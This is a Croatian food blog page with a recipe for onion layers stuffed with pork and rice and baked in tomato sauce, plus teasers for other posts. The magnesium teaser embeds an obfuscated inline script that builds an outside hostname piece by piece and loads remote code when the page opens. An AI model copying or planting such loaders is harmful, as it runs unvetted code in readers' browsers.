PUNJENI LUK





Punjeni luk



Punjeni luk, savršeno karameliziran i zasitan, oduševit će vaše nepce sočnim okusima svinjetine, riže i aromatičnih začina. Peče se u bogatom umaku i idealan je za “običan” obiteljski ručak, ali i svečaniju večeru.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Punjeni luk 


Sastojci:

  • 500 g mljevene svinjetine (može i junetina, janjetina, piletina, puretina ili kombinacija)
  • 1 šalica riže, isprane
  • 1 žlica koncentrata rajčice
  • 1 rajčica, sitno nasjeckana
  • 5 češnjeva češnjaka, sitno nasjeckanih
  • 1 čajna žličica soli
  • 1 čajna žličica mljevene paprike
  • 1 čajna žličica suhog origana
  • ¼ čajne žličice papra
  • ¼ šalice nasjeckanog peršina
  • 6 velikih žutih glavica luka

Za umak

  • 1 žlica maslaca
  • 2 žlice koncentrata rajčice
  • 240 ml temeljca (goveđeg, pilećeg ili povrtnog)

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Priprema:

  1. U velikoj zdjeli pomiješajte mljeveno meso, ispranu rižu, začine, koncentrat rajčice, češnjak, svježu rajčicu i peršin. Dobro izmiješajte i ostavite sa strane.
  2. Svakoj glavici luka odrežite gornji i donji dio. Položite svaku ravnom stranom prema dolje i zarežite po sredini (od vrha prema dolje), ali pazite da ne prerežete do kraja.
  3. Ponovite postupak sa svim glavicama luka. Stavite ih u veliki lonac s vodom i kuhajte 15 minuta od trenutka kada voda zakipi.
  4. Slojevi luka trebali bi se početi odvajati. Pazite da ih ne prekuhate kako se ne bi raspali.
  5. Ocijedite vodu i ostavite luk da se ohladi. Po potrebi ga isperite hladnom vodom kako biste ubrzali hlađenje.
  6. Odvojite slojeve luka. Na svaki sloj stavite otprilike jednu žlicu nadjeva i zarolajte. Ponavljajte dok ne potrošite sav nadjev.
  7. Posložite punjene lukove čvrsto jedan uz drugi u okruglu vatrostalnu posudu, spojem prema dolje.
  8. Pripremite umak tako da u lončiću otopite ghee maslac pa dodate koncentrat rajčice i temeljac. Kušajte i po potrebi dodajte prstohvat soli.
  9. Topli umak prelijte preko punjenog luka. Pokrijte papirom za pečenje, a zatim aluminijskom folijom.
  10. Pecite u prethodno zagrijanoj pećnici na 220 stupnjeva 45 minuta pokriveno, zatim još 15 minuta otkriveno.
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više